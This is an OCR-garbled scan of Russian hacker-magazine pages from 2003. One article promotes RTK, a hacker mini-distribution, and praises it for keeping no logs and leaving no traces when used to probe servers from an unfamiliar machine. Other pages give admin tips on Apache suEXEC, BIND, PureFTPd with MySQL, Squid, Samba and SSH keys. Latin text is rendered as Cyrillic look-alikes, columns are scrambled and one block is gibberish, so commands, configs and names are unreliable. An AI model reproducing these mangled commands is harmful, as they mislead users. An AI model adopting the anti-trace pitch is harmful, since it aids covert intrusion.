рошо, но документация, поддержка, обновле- 
ния... Падал общий темп развития, и интерес 
постепенно угас. 

Я наткнулся на эту ОСь в ноябре 2001 года, а в ап- 
рельском выпуске ][ вышла статья Тгіпих: Хакерс- 
кая ОС. Появился проект Тгіпих. Пиззіап.Соттипйу 
Дгіпих.аіапог.ги), который работает и по сей день, 
освещая особенности хакерских мини-дистрибути- 
вов, а также развивая первую русскую операцион- 
ную систему для хакеров - ВТК. 



08 ВТК: ВІІ88ІАЫ ТВІЫУХ КІТ 



Первый релиз ВТК состоялся 15 ноября. На 
момент написания статьи доступна версия 



Помощь В СОЗДАНИИ И РАЗВИТИИ РТК. 

В СОЗДАНИИ И РАЗВИТИИ «ПЕРВОЙ РУССКОЙ ОПЕРАЦИОННОЙ СИСТЕ- 
МЫ для Хакеров» может поучаствовать любой человек с соот- 
ветствующей ТЕХНИЧЕСКОЙ ПОДГОТОВКОЙ. ПРОЕКТУ ВСЕГДА НУЖ- 
НЫ ПРОГРАММИСТЫ, ПЕРЕВОДЧИКИ, СКРИПТЕРЫ, ЛИНУКСОИДЫ, ВЕБ- 
МАСТЕРЫ, ХАКЕРЫ, ФРИКЕРЫ, ХУДОЖНИКИ... ЛЮБЫЕ ЭНТУЗИАСТЫ! 
ЕСЛИ ТЕБЯ ЭТО ЗАИНТЕРЕСОВАЛО, ТО СМЕЛО ПРИСЫЛАЙ СВОЕ РЕЗЮ- 
МЕ на тріыих@тріыих. атаыор. ри . 

Если есть желание помочь проекту в материальном плане 

(БУДЬ ТО ОБЕСПЕЧЕНИЕ ХОСТИНГОМ И/ИЛИ ДОМЕНОМ ВТОРОГО УРОВ- 
НЯ ИЛИ «ВЫСТУПЛЕНИЕ» В КАЧЕСТВЕ СПОНСОРА), ТО ПИШИ НА 

бтаі_зеы@маіі_. ри . Кроме того, мы всегда рады сотрудничать с 
ДРУГИМИ ВЕСЫ рітѵ/н АС КІ N б/андеграунд-п ро ектам и ! 
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0.2. Что же изменилось (по сравнению с Тринук- 
сом)? Во-первых, дефолтная поддержка русского 
языка и раскладки клавиатуры, а также русифици- 
рованная загрузка. Много новых функций в ядре 
(поддержка РСМСІА, В8Э Ргосезз Ассоипйпд, 
ЕІ_Р/МІЗС/а.оіЛ Ьіпагіез, Х.25, ОНСР, Ргате Веіау, 
РООІ, Токеп Віпд, ѴѴігеІезз Меілл/огк, ЗУМ 
Соокіез...), оптимизирован Ііпихгс, исправлены 
некоторые баги, добавлено несколько необходи- 
мых команд, новая версия ЗузШпих. ОСь основана 
на Тгіпих (который, в свою очередь, основан на 
линуксе). Система содержит стандартные коман- 
ды вроде: Із, сб, ср, гт, тоипі и т.д. Документа- 
цию по ним можно почитать в любой ипіхііке сис- 
теме. Большая часть из них линкуется с ЬизуЬох 
(это облегченные версии стандартных утилит). 

ВТК нельзя установить в раздел винта. Виртуаль- 
ный диск системы создается в ВАМ, который 
сбрасывается после каждой перезагрузки, так что 
все созданные тобой файлы/каталоги будут поте- 
ряны. Я советую монтировать раздел жесткого 
диска или дискету и записывать все данные туда. 
Пакеты и/или модули можно динамично подклю- 
чать/удалять во время работы системы. А их 
очень много, это всякие сканеры ( портов/уязви - 
мостей/ОСей), сниферы, конструкторы пакетов, 
сетевые мониторы, различные утилиты (работа по 
их русификации постоянно идет), с модулями то- 
же все нормально (для дефолтного 2.4.18 их пре- 
достаточно). Кроме того, в ВТК НЕТ никаких логов 
- зузіодб и кіодб выключены. Более того, как уже 
было сказано выше, раздел создается в ВАМ, ко- 
торый сбрасывается после каждой перезагрузки. 
Следовательно, никаких следов не останется (во 
всяком случае, на твоем компе). Понял, о чем я? 
Ты можешь спокойно юзать «стандартные» ОСи 
вроде ѴѴіпбоѵѵз или І_іпих, а при необходимости 
загружать РТК и делать всякую работу. Скопиро- 
вав необходимые данные на дискету, ты жмешь 
ребут и продолжаешь играть в Моггоѵѵіпб (или как 
его там?) или в ХВШ :-). Хорошенько вдумайся в 
эти слова - ты ПОЛНОСТЬЮ освобождаешься от 
проблемы лог-файлов. 



РВАСТИКА РАБОТЫ 



В теории все, конечно, хорошо, но перейдем к ре- 
альным примерам использования. Первым лаком- 
ством является виртуальный диск. Наверняка у те- 
бя появится желание немного модифицировать его 
по своему усмотрению - в этом случае жми (это 
можно сделать и из РТК): 

# діір -б іпіМді 

# тоипі -о Іоор іпіігб /тпѴіпйгб 

Дерево каталогов, конечно, не такое богатое (ска- 
зывается наследство емкости дискет и ограничен- 
ность рама у многих компов), но чего еще надо? 
Бинарики/скрипты находятся в Ьіп/, зЬіп/. Самое 
интересное - Ііпихгс, ищи его в корне. Далее сле- 
дует «загрузка» ядра, после идет код Ііпихгс 
(представляет собой «обычный» скрипт на шелле). 
Его-то сообщения ты и видишь на экране (а это 
настройка русского языка, создание виртуального 
пространства, установка переменных епѵ, инфор- 



мация по монтированию). При успешной загрузке 
ОСи ты должен увидеть: 

Добро пожаловать в РТК: Риззіап Тгіпих Кіі 

Наберите ‘тап’ для просмотра списка доступных 
справок. 

Для получения общих сведений о системе набери- 
те ‘тап основы’. 

АЕГ-<Лево/Право> позволяет переключаться меж- 
ду терминалами. 

<СМ> переключает раскладку клавиатуры. 

За более подробной информацией обращайтесь 
по адресу 

ИНр:/Дппих.а1апог.ш 

# - приглашение интерпретатора азИ (ЬизуЬох). 

В основном работа не отличается от обычного ли- 
нукс-дистрибугива за исключением нескольких осо- 
бенностей. Во-первых, дискету лучше монтировать 
через йтюипі (во избежание бага «гедізіег зМиз», ко- 
торый скоро будет пофиксен). Во-вторых, надо пом- 
нить, что ВСЕ созданные тобой данные на виртуаль- 
ном диске будут уничтожены (в теории это запом- 
нить легче, чем применить на практике :-)). В-треть- 
их, надо привыкнуть к урезанному отчету Ьизу- 
Ьох’ных утилит. Вообще, чистая система мало кому 
полезна (разве что для монтирования дисков под 
пйз/ех12/ех13). Основной ин терес представляют па- 
кеты (а их примерно 70 на данный момент!) самого 
различного типа, например: агріпд, Тігеѵѵаік, Тга- 
дгоиіе, бзпіК, ейіегеаі и т.д. Список очень длинный. 

И никаких проблем с установкой, компилированием, 
использованием! Все как на ладони, смотри сам: 

# ркдабб агріпд. ідг - добавляем пакет 

# агріпд -і еМ -ѵ 169.254.178.206 - используем 
его 

Интерфейсам ІР: 169.254.178.200 МАС-адрес: 

00:50:ЬТ:69:53:14 

АРШС 169.254.178.206 

60 байтов от 00:с0:бТ:с5:е0:46 (169.254.178.206): 

номер=0 время=3.1 18 мсек 

Не видишь ничего странного :-)? Вместе с ір-адре- 
сом мы получаем МАС карты. Конечно, в обычном 
случае ты можешь пропинговать машину и посмот- 
реть записи таблицы АВР: 

# ріпд 169.254.178.206 

64осІеЫгот 169.254.178.206: істр зец=0 ЙІ_8 
Ііте=2.8 тз 

64ос{еЫгот 169.254.178.206: істр_зед=1 йІ_8 
Ііте=0.8 тз 

# агр -а 

(169.254.178.206) а* 00:С0:ОР:С5:Е0:46 [еШег] оп 
еМ 

Но что если пинг закрыт (или вообще весь ІСМР)? 
Ладно, пакеты - дело хорошее, но без модулей ни- 
куда! И это не только поддержка различных девай- 
сов/оборудования, но и файловых систем, прото- 



колов и пр. Но давай сначала установим нашу се- 
тевую карту (на примере №2000 СІопе ІЗА): 

# іпзтосі іза-рпр.о - вставляем ІЗА РІид’п’РІау мо- 
дуль 

# іпзтосі пе.о - собственно сам драйвер сетевухи 
/* Если попробуешь вставить без іза-рпр, то поя- 
вится множество сообщений ипгезоіѵесі зутЬоІ. 

Это все равно, что грузить звуковую карту без 
зоипсІ_соге *\ 

# іТсопТід еМ ир 169.254.178.210 - поднимаем ин- 
терфейс и даем ему ір-адрес 

И сеть настроена. Теперь все зависит от твоего 
упорства. Немного о файловых системах - это важ- 
ная вещь, особенно, если тебе надо монтировать 
какой-нибудь раздел. Вот, к примеру, СШ: # іпз- 
тосі цпх4.о. РТК поддерживает примерно 30 Тз 
(асІТз, ЬрТз, 5іт№, иіз, геізеііз). Небольшое допол- 
нение: по дефолту в ртк 0.2 есть возможность 
подключать партишины под ІЧТР5. 



НТК МОР I РАЙ 



Так или иначе, со временем появится необходи- 
мость модифицировать процесс загрузки, чтобы он 
проходил динамично и без лишних напрягов. Монти- 
ровать виртуальный диск слишком долго. Для этого 
и была создана папка РТК на загрузочной дискете 
(аналог Шх/ тринукса, но в усовершенствованном ви- 
де). В подпапке ІІЧІТ есть четыре скрипта - ТігзТ, Іазі, 
розіпеі, ргепеТ Название соответствует порядку их 
выполнения в Ііпихгс. Есть еще папка ОРТІОМЗ - это 
наследство тукса, скоро ее уже не будет, в предыду- 
щих версиях использовалась для ІтрТз. Что можно 
засунуть в скрипты? Во-первых, твою конфигурацию 
сети (то есть ір/МАС-адрес, маску, шлюз). Во-вто- 
рых, к примеру, монтирование каких-нибудь разде- 
лов с пакетами (и их установку), загрузку модулей - 
да все что угодно. Переходим к ядру - при его кон- 
фигурации я ориентировался на «массы», то есть 
встраивал лишь необходимые для стандартной ра- 
боты возможности, остальная же поддержка осущес- 
твляется через модули. Но предположим, тебе нуж- 
ны какие-нибудь «экстра-функции», тогда сразу пе- 
реходи к поиску конфигов, отправляйся на тт.і гіп- 
их.огд (для Тринукса) или на Ігіпих.аіапог.ги для ВТК. 



ТНЕ Е№ 



Конечно, ВТК/Ггіпих не способны заменить тебе 
полноценной системы, но если тебе нужны мобиль- 
ность, хорошая переносимость и стабильность, то 
сам Бог велел использовать мини-дистрибутивы. Ты 
забудешь о нудном поиске и компиляции программ, 
о проблемах с портированием и несовместимостью 
оборудования. Это карманная операционная систе- 
ма для Хакеров! Вот реальный пример: ты садишься 
на совершенно неизвестную систему с желанием 
почекать сервера в Сети. Ты можешь поинтересо- 
ваться, какая стоит операционка, софт и т.д. А мо- 
жешь без лишних вопросов загрузить « 

РТК со словами: «Ты уверен, что хочешь 
этого?» %). Вуе... Ш " 
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Обзор интересных сеньюрных фич 



<Страсти по цгайкам> 



Исходя из соображений безопасности, ѵѵеЬ-сервер Арасііе 
запускается и работает с правами непривилегированного 
пользователя поЬосІу из группы побосіу. В некоторых слу- 
чаях на стороне сервера требуется, используя сді-сцена- 
рии, динамически изменять содержимое документов от 
имени пользователя со специальными привилегиями, а 
также предотвращать возможность исполнения сді-прог- 
рамм с неверно заданными правами доступа как к ним са- 
мим, так и к каталогам, в которых они находятся. Для ре- 
шения такого рода задач служит механизм зиЕхес. Прове- 
рить, включена ли поддержка сді-анализатора в ѵѵеЬ-сер- 
вере можно с помощью команды: 

$ /изг/ІосаІ/арасІіе/Ьі п/ИПрсІ -I 
[зкірресі] 

зиехес: сІізаЫесІ; іпѵаіісі ѵѵгаррег /изг/ІосаІ/арасІіе/Ьіп/зиехес 

По умолчанию, модуль зиЕхес не собирается во время ус- 
тановки индейца. Для его включения необходимо перекон- 
фигурировать и перекомпилировать Арасііе с указанием 
учетной записи (в данном случае Ііозіег) для выполняемых 
сді-сценариев, корневой директории, файла для журнали- 
рования событий, подкаталога пользователя, а также ми- 
нимальных групповых и пользовательских идентификато- 
ров, с которыми будет производиться работа. Но сначала 
добавим в систему новые группу и учетную запись Іюзіег: 

# дгоирабсі -д 1001 Ііозіег 

# изегасісі -с ’зиЕхес изег' -сі /ѵаг/ѵѵѵѵѵѵ/изегз/іюзіег -д 
Іюзіег -з /Ьіп/Таізе -и 1001 Іюзіег 

./сопТідиге --ргеІіх=/изг/ІосаІ/арасІіе -зузсоп1сІіг=/е!с/ІійрсІ 
— сіаіасі і г=/ѵаг/ѵѵѵ\лл/ - - Іодіі ІесІ іг=/ѵаг/Іод/ІійрсІ -епаЫе-зиех- 
ес -5иехес-са11ег=1юз1ег - -зиехес-сІосгооІ=/ѵаг/\АЛАЛА//ІіІсІос5 
--зиехес-ІодйІе=/ѵаг/ІодДійрб/зиехес.Іо^ -зиехес- 
изегсі і г=сд і - ѵѵгар -зиехес-иісІтіп=1000 -зиехес-дісі- 
тіп=1 000 -5иехес-за1ераЙі=/и5г/Ьіп 

$ таке 

# таке іпзіаіі 

$ /изг/ІосаІ/арасІіе/Ьіп/ІійрсІ -I 
[зкірресі] 



зиехес: епаЫесІ; ѵаііб ѵѵгаррег /изг/ІосаІ/арасІіе/Ьіп/зиехес 
Все, механизм зиЕхес подключен, осталось добавить сле- 
дующие строки в главный конфигурационный файл ѵѵеЬ- 
сервера: 

# ѵі /еісДійрбДійрсі.сопІ 

<ІШосУе тоб_изегсІіг.с> 

ІІзег Іюзіег 
Сгоир Іюзіег 
ІІзеЮіг сді-ѵѵгар 
АсІсІНапсІІег сді-зсгір* .сді .рі 
</ІТМосІиІе> 

<Оігес!огу ~ /ѵаг/ѵѵѵѵѵѵ/изегз/[а- 2 ]+/сді-ѵѵгар> 



Орйопз ЕхесСОІ 
</Оігес*огу> 

Запустим демона Арасііе: 

# /изг/ІосаІ/арасІіе/Ьі п/арасИесИ зіаіі 

Теперь создадим в каталоге /ѵаг/ѵѵѵѵѵѵ/изегз/Ііозіег/сді -ѵѵгар 
простенький сді-сценарий: 

# йжіі Іезі.сді 

# ѵі іезі.сді 



#!/изг/Ьіп/регІ 

ргіпі "СопІепМуре: 1ехІ/ІіітІ\п\п"; 

Тогеасіі $кеу (кеуз %ЕІ\ІѴ) { 
ргіпі "$кеу -> $ЕМѴ{$кеу}<Ьг>"; 

} 

Определим для него права доступа: 

# сііоѵѵп Іюзіепіюзіег /ѵаг/ѵѵѵѵѵѵ/изегз/Ііозіег/сд і - 
ѵѵгарДезІсді 

# сіітосі 755 /ѵаг/ѵѵѵѵѵѵ/изегз/ІюзІег/сд і -ѵѵгарДезІ.сд і 

И для проверки правильности всех настроек скормим бра- 
узеру следующий ІЖ: 
Іійр://ѵѵѵѵѵѵ.5ІіеІІЬох.ги/~Іі05ІегДе5ісді 



При успешном выполнении сценария в журнальном файле 
/ѵаг/Іод/ІійрсІ/зиехес.Іод появится запись типа: 

[2002-10-11 01:24:22]: іпТо: (ІагдеІ/асІиаІ) иіб: 
(Іюзіег/Іюзіег) дісі: (Іюзіег/Іюзіег) стб: ІезІ.сді 

Следует отметить, что применять механизм зиЕхес можно 
и для серверных вставок ззі, а также не только для персо- 
нальных каталогов пользователей, но и для виртуальных 
хостов. 
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<Что в имени тебе моем, патесІ?> 



Вероятно, пингуя через небольшие промежутки времени 
пользующийся популярностью (читай загруженный) \А/еЬ- 
узел, ты уже неоднократно замечал, что в ответ приходят 
пакеты с откликами есію-геріу с различных ІР-адресов. Та- 
кой трюк с закреплением за одним доменным именем нес- 
кольких айпишников применяется для распределения наг- 
рузки между ѵѵеЬ-серверами. Его можно произвести как с 
помощью аппаратного обеспечения, например, оборудова- 
ния от Сізсо - І_оасІ йігесіог, так и программного: демона 
патесі - сервера имен пакета ВЮ, на котором мы сейчас 
по-подробнее и остановимся. Согласно документу ВЕС 
1 035 вот так выглядит запись типа А базы данных ОМ5: 

оѵѵпег йі сіазз А асісігезз 

Для примера закрепим за доменным именем 
ѵѵш/.хакер.ш следующие ІР-адреса, которые будут возв- 
ращаться клиентам последовательно и в циклическом по- 
рядке, причем для быстрого устаревания адресов время 
жизни [йі] установим равным одной минуте: 

ѵѵш/.хакер.ш. 60 № А 

62.16.80.1 

ш/ѵѵ.хакер.ги. 60 № А 

62.16.80.2 

ш/ѵѵ.хакер.ги. 60 № А 

62.16.81.3 

После такого определения ОМ5-сервер из своей базы бу- 
дет циклически возвращать клиенту записи типа А вот в 
таком порядке: 

для первого запроса - 62.16.80.1, 62.16.80.2, 62.16.81.3 
для второго - 62.16.80.2, 62.16.81.3, 62.16.80.1 
и для третьего - 62.16.81.3, 62.16.80.1, 62.16.80.2 

Однако у этого довольно эффективного способа есть и 
ряд недостатков: 

1 ) Демон патесі не определяет, "жив" выдаваемый им 
клиенту хост или нет; 

2) Демон патесі не занимается балансировкой нагрузки; 

3) Клиенты при повторном запросе могут получить преды- 
дущий ответ из-за отрицательной разности между време- 
нем хранения в кэше данных промежуточного 0І\І5-серве- 
ра и временем жизни для записей в базе 0І\І5-сервера с 
механизмом гоипсі гоЫп; 

4) Атакующий может без особого труда вычислить цикл и 
число записей, поэтому теоретически вероятность взлома 
ѴѴеЬ-сервера увеличивается во столько раз, сколько ІР-ад- 
ресов закреплено за именем. 



<Дефиле с $СИ’ем> 



Держать информацию об учетных записях пользователей, 
имеющих доступ к Йр-серверу, в стандартных системных 
файлах /еіс/раззѵѵсі [дгоир ; зіпасіоѵѵ; тазіег.раззѵѵсі; 
рат . сі/раззѵѵсі] стало уже не модно :), поэтому рассмот- 
рим вариант идентификации и хранения аккаунтов варез- 
ников с использованием 501 на примере связки РигеЙрсІ 
+ Му50І_. Забираем с 1ійр://ш/ѵѵ. ригейрб . огд/ последнюю 
версию РигеЙрсІ, распаковываем, переходим в созданный 
каталог и конфигурируем при условии, что серверная и 
клиентская части Му50І_ уже получены с 
ІпНр://ѵѵѵѵѵѵ.ту5дІ.сот/ и установлены в /изг/іосаі/тузці: 

$ ./сопТідиге --ргейх=/изг/ІосаІ/ригеЙрсІ --ѵѵіЙіоиЫпеМ - 
мЙюиЫпиплог --ѵѵіЙюиЫэаппег --ѵѵіЙі-аШод --ѵѵіЙі-рат - 
ѵѵіЙі-гайоз --ѵѵіЙі-ЙрѵѵІіо --ѵѵійі-диоіаз --ѵѵіЙі-ЙігоШпд --ѵѵіЙі- 
туздИ/изг/ІосаІ/тузцІ 

$ таке 



# таке іпзіаіі 

Предоставим возможность пользователю зИоскег рулить 
тузцЕом со всеми базами: 

$ /изг/іосаі/тузц І/Ьі п /тузд I -Іі ІосаІІіоз! -и гооі -р 

тузцІ> СШТ АН РРІѴПЕОЕ5 ОМ *.* ТО 5Іюскег@ІосаІ- 
ІюзІ ЮЕМПНЕО ВУ ’тураззѵѵогсГ Ж Н ОШТ ОРЛОМ; 

Скопируем из директории с сырцами Йр-сервера при- 
мер конфигурационного файла для базы данных и изме- 
ним в нем записи, связанные с именем пользователя, 
имеющего доступ к Му50І_, его паролем, базой данных 
для ригейрб и методом шифрования паролей (по умол- 
чанию разработчики предлагают нам іпзесиге метод - 
хранить пароли ріаіпіехйом). 

# ср ри геЙрсІ - тузд I . со пТ /еіс/ 



$ /изг/ІосаІ/туздІ/Ьіп/туздІ -Іі ІосаІІюзІ: -и зііоскег -р 

тузцІ> СВЕАТЕ РАТАВАЗЕ тгетті] 
тузцІ> 5НОѴѴ РАТАВА5Е5; 
тузцІ> ІІ5Е тшіі 
тузцІ> СВЕАТЕ ТАВІ_Е изегз ( 

-> ІІзег ѵагсИаг( 1 2) N01 МІЛІсІеМ ”, 

-> РаззѵѵогсІ ѵагсИаг(64) N01 N1111 сІеТаиЙ ”, 

-> № ѵагсІіаг(8) N01 N1111 беМ ”, 

-> ОісІ ѵагсІіаг(8) N01 N1111 беМ ”, 

-> Оіг ѵагсІіаг( 1 28) N01 N1111 сІеМ ”, 

-> РВІМАВУ КЕУ (Изег) 

-> ); 

тузцІ> 5НО\А/ ТАВЬЕЗ; 

тузцІ> РЕ5СВІВЕ изегз; 

тузцІ> ІМ5ЕВТ ІМТО изегз ѴАШЕ5 

( 'хакер' , 'ХСМибТКССЮхѵѵ' , '666' , '666' , 'Дюте/хакер'); 

туздІ> 5ЕІ_ЕСТ * РВОМ изегз; 



# ѵі /еіс/ри геЙрб - тузц I . сопі Обращу твое внимание, что работа с иіб и дісі в буквенном 

представлении возможна в том случае, когда они уже за- 
МУЗОШзег зііоскег регистрированы в системе и в таблице изегз для них ис- 

МѴЗСЦРаззѵѵогб плураззѵѵогб пользуется тип переменной ѵагсИаг(). Если ты планируешь 

МУЗОЮаіаЬазе ш\ші оперировать только виртуальными Йр-юзверями и цифро- 

МУЗОЮгурІ сгурі выми идентификаторами, то смело применяй тип іпІ() 

вместо ѵагсІпаг(). 



віпйѵпіштг- 4 — 

ІІЛІйІіпЭД 4.1члік^ги 

Н а |ЧГ^ I ^ ІЙ м Н ІЙЙ1Г ШП Пі 1 

-> ІЪрг ѵягсіілт Г | г 1 ? РЮГ МД I іЦ-*-ѵм|і ' 

> Р*аинн-[| ѵлгсНйг(54) ЦП 1 МЛ1 4еГінЛі 

> иш №іг шм\ ^с«іи ". 

> Ш №\ №11 пІеГміЬ. ” 

> II Й г ѵлі і.Клі І №. 1 1 НІЛ І гЙгГті 1 1 , 

-> №|цЛкіГ ЩУ СЦмгЭ 
-> >5 

ІКіесія еж. & гадні пГГесІ:е4 СО.ВД мс* 

I КГ*Г Й Г ІНТО тт ЩШ < 1 ілкчьр " г г К0ніш41 КвСо П г „ 1 ЫБ 1 „ " БвС р ' ЯіймѴмді*- 

р); 

іЬ і| Ш_ I гмг н-ІТес;1е4 С&.0С 

■"І'і^ІІ !ІР][ГГ ■ П№Н іптгііГ 



■ ІЬсг I Рпэ-'люг 4 Р Ш4 I Ві4 « ІМг I 

I I ИИуіШНііСіхіі I Й6Е I Ш I I 

•» ШШ* ш _ 4 ■■ “ а 4* ■«. л . ш . л я а. .. - * л. ф 

I гон Я гь іг Е ’лшчгЛ 

I 



Остальные настройки в этом файле можно оставить без Заносим данные об узерах в БД 
изменений. Настала очередь запустить Йр-сервер: 



# /изг/іосаі/ри геЙрсІ/зЬі п/ри ге-ЙрсІ -4 -А -В -с 5 -С 3 -1 12- 
Е -Н -к 90 -г -Т 250:100 -I тузц I : /еіс/ри геЙрсІ - тузц I . сопі 
-О сій/ѵаг/іод/ригейрсі.іод 

Для создания зашифрованных паролей с помощью функ- 
ции сгур{() библиотеки дІіЬс воспользуемся программой 
ІйраззѵѵсІ, которая входит в поставку Арасііе. Напомню, что 
во введенной строке для шифрации значащими являются 
только первые восемь символов, последующие символы 
ввиду специфики алгоритма отсекаются. 

$ /изг/ІосаІ/арасІіе/Ьіп/ІйраззѵѵсІ -п -б хакер 

Теперь подключаемся к МуЗОЦ создаем базу данных 
тгетн и таблицу изегз, в которой будут храниться имя 
Йр-пользователя, его криптованный пароль, уникальные 
пользовательский и групповой идентификаторы, а также 
домашний каталог (если каталога в системе еще нет, то 
он будет автоматически создан при первом входе варез- 
ника на сервер и при запущенном ригейрб с ключом 



СПортим статистику спайлогам> 



Предоставление централизованного доступа клиен- 
тских машин в глобальную сеть, кэширование входя- 
щего трафика, ограничение пропускной способности 
интернет-канала, авторизация пользователей, обеспе- 
чение дополнительного уровня безопасности - все это 
входит в задачи кэширующего прокси-сервера Зциіб 
Іпйр://ѵѵѵѵѵѵ.5диіб-сасІіе.огд/. Но сегодня нас будет ин- 
тересовать не менее интересная функция кальмара - 
возможность подменять заголовки Іійр-запросов кли- 
ентов с помощью директивы апопутІ2е_Ііеабег5. К 
примеру, изменим возвращаемые версии клиентских 
бродилок. Сначала запретим передавать данные о 
браузере, а затем модифицируем информацию о нем: 

# ѵі /еіс/зц и ісі/зд и ісі . сопТ 

апопугше_ІіеасІег5 бепу Іізег-Адепі 
{аке_изег_адеп{ ВидгіІІа/б.б.б (Апбгизіюск Ьиііб 13) 
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Перевести ЗдиісІ в режим работы полупарано- 
идального анонимного проксика можно с по- 
мощью вот таких директив: 

# ѵі /еіс/зциісі/здиісі.соп* 

іогѵѵагсІесИог оЯ 

апопутігеЬеасіегз бепу Ргот Пе^егег Зегѵег 
апопутігеііеасіеіз бепу ІІзег-АдепІ ѴѴѴШ- 
АиШепбсаІе Ыпк 



Изменения вступят в силу после перезапуска здиісі: 

# /еіс/гс.б/іпіі.сі/здиісі гезіагі 

Теперь, указав браузеру клиентского хоста 
192.168.158.100 использовать нашу анонимную проксю 
1 92. 1 68. 1 58. 1 1 8, запросим ШІ_ тестового ѵѵеЬ-сервера 
192.168.158.216, в логах которого сможем обнаружить 
примерно следующие записи: 

192.168.158.118 - - [07/ОСІ/2002 : 02 : 08 : 2 1 +0300] "ОЕТ 

/ітадезДихгасег.рпд НТТР/1 .0" 200 302363 

'Мр://1 92. 1 68. 1 58.21 6/" "ВидгіІІа/б.б.б (Апсігизііоск ЬиіІсІ 

13)" 



СТанцуем самбу> 



Как правило, крупная домашняя сеть имеет гетероген- 
ный характер, т.е. присутствуют машины как под управ- 
лением ѴѴіпсІоѵѵз, так и различных ІІпіх-систем, и поде- 
лена на сегменты, каждый из которых имеет территори- 
альную привязку: либо это этаж, либо подъезд, либо 
дом еіс. Для контроля использования сетевых ресурсов 
в конкретном сегменте, для обеспечения дополнитель- 
ного уровня безопасности и существенного ускорения 
работы клиентов в "Сетевом Окружении" часто требует- 
ся на роутерах оградить компьютеры, состоящие в раз- 
ных рабочих группах, друг от друга. 

В особо экстремальных обстоятельствах, когда, напри- 
мер, программа подсчета трафика была написана нев- 
меняемым кодером, или брандмауэр работает в режиме 
отладки, у нас нет возможности изменять правила Тіге- 
ѵѵаІІ'а "на лету", поэтому роль "заглушки" в данном слу- 
чае может выполнять пакет ЗаплЬа 
ІіНр://ѵѵѵѵѵѵ.5атЬа.огд/, предназначенный для совмест- 
ного использования файлов и принтеров. Инсталляция 
не должна вызвать особых проблем, поэтому сразу пе- 
рейдем к конфигурированию файла самбы с целью то- 
тального ограничения доступа к расшаренным ресурсам 
заданной подсети 192.168.5.0 с маской 255.255.255.0. 



ЬіпсІ іпіеііасез опіу = уез 

Запускаем демон ѵѵіпЬіпсІсІ: 

# /еІс/гс.б/іпіЫ/ѵѵіпЬіпсІ зіаіі 



<Пароль рыба-ззИ> 



Иногда возникают ситуации, когда необходимо автомати- 
зировать процесс резервирования (в определенное время 
запускать скрипт для переноса информации с одного узла 
на другой), либо приходится довольно часто вводить па- 
роли, чтобы получить доступ к командному интерпретато- 
ру на различных узлах. В этих случаях очень удобно про- 
изводить беспарольную аутентификацию на удаленном 
хосте с помощью защищенной оболочки ОрепЗЗН 
ІіНр://ѵѵѵѵѵѵ.ореп55Іі.огд/ с использованием ассиметричных 
алгоритмов шифрования В5А и РЗА. 



В алгоритме шифрования с открытым клю- 
чом для шифрации и дешифрации данных 
применяется асимметричная пара ключей, 
состоящая из публичного и приватного клю- 
чей. Первый из них используется для шиф- 
рования, и его можно свободно распростра- 
нять среди абонентов даже по незащищен- 
ным каналам. Второй ключ, отвечающий за 
дешифровку, необходимо держать в секрете. 
В настоящее время одним из самых попу- 
лярных алгоритмов шифрования открытым 
ключом является алгоритм В8А 
Шр://ѵѵѵѵѵѵ.гза8есигіІу.сот/, предложенный 
еще в 1 977 году американскими учеными 
КопаІсІ Віѵезі, Асіі ЗІіатіг и Ьеопагс! АсІІетап. 



Для работы по протоколу 55Н версии 2 следует убедить- 
ся, что на сервере в файле ззІісІ сопТід присутствуют сле- 
дующие строки: 

РгоіосоІ 2,1 

РиЬкеуАіДІлепйсайоп уез 

АиіІіогігесІ КеузРіІе .ззИ/аиіІіогігесІкеуз 

А в ззіі сопТід (на сервере), либо в файле ~/-ЗЗІі/сопТід на 
клиентской машине имеются такие настройки: 

Ргоіосоі 2,1 

ІбетйуРіІе ~/.55Іі/ісІгза 

Теперь сгенерируем пару ключей Р5А протокола 55Н2 без 
указания парольной фразы: 

$ ззіі-кеудеп -I гза -М " -С ’ЗІіеІІ ассоипТ ~/-ззІі/ісІ гза 

Скопируем полученный публичный ключ на удаленную 
систему: 

$ зср ~/-55ІѴісІ_г5а.риЬ ту.зЬеІІЬох.ги: Ѵ-ЗзЬ/аиіЬогігесікеуз 

Если файл аиІЬогігесІкеуз уже существует, то просто до- 
бавим в него новый ключ: 



X АКЕР\№5 1 \Март\2003 




Работа с ключами й5А протокола 55Н версии 2 полностью 
аналогична описанной выше схеме. Для использования 
ключей Р5А протокола 55Н1 необходимо убедиться, что 
обе стороны поддерживают Р5А1 аутентификацию. На 
сервере: 

Ргоіосоі 2,1 
ПЗААийлепЬсайоп уез 

На стороне клиента: 

Ргоіосоі 2,1 
ВЗААийлепЬсайоп уез 
ІсІепііІуРМе -/.ззіі/ісіепіііу 

Сгенерируем пару ключей: 

$ ззіі-кеудеп -I гзаі 

Скопируем открытую часть из пары ключей на удаленную 
систему: 

$ зср ~/-55ІѴісІеп%.риЬ 
ту .зІпеІІЬох. ги :■ ~/.5зЬ/аи{ЬогІ2есІ_кеу5 

Насильно заставим клиента ззіі использовать первый про- 
токол 55Н: 

$ ззіі -1 ту. зІпеІІЬох. т 

Конечно, при использовании этого бесспорно удобного ме- 
тода существует немалый риск, так как злоумышленник, 
получивший доступ к секретному ключу на клиентской ма- 
шине, автоматически становится обладателем шелла на 
удаленной системе, где применяется публичный ключ из 
этой пары. Альтернативным и более безопасным способом 
беспарольной аутентификации является использование де- 
мона-посредника ззЬ-адепІ, предназначенного для хране- 
ния парольной фразы секретного ключа. Сгенерируем пару 
ключей Р5А, введем и подтвердим парольную фразу: 

$ ззіі-кеудеп -{ гза 

Запустим программу ззЬ-адеп* так, чтобы его процесс по- 
родил еще один командный интерпретатор, но уже с из- 
мененными переменными окружения: 

$ еѵаі ззіі-адепі' 

И добавим в базу защищенного агента наш приватный 
ключ: 

$ ззіі-асісі ~/.ззІі/ісІ_г5а 

На этом настройка закончена. Теперь можно установить 
соединение с удаленным хостом, не вводя ни пароль 
пользователя, ни парольную фразу для пары ключей: 

$ ззіі ту.зІіеІІЬох.ги 



# ѵі /еіс/затЬа/зтЬ.сопІ 

/* список узлов и подсетей, которым разрешен доступ */ 
Іюзіз аііоѵѵ = 192.168.5. 127. 

/* сетевой интерфейс роутера, на который разрешено 
подвиснугь самбе */ 
іпІегТасез = 192.168.5.1/24 

/* насильно привязываем ЗаплЬа использовать только ука- 
занный выше сетевой интерфейс */ 



$ зср ~/- 55 іуі( 1 _г 5 а.риЬ ту.зІіеІІЬох.ги:-/ 

$ ззЬ ту.зІіеІІЬох.ги ’са* ~/ісІ_г5а.риЬ » 
-/.ззЬ/аиІЬопге^кеуз' 

С этого момента, для того, чтобы войти на ту.зЬеІІЬох.ги 
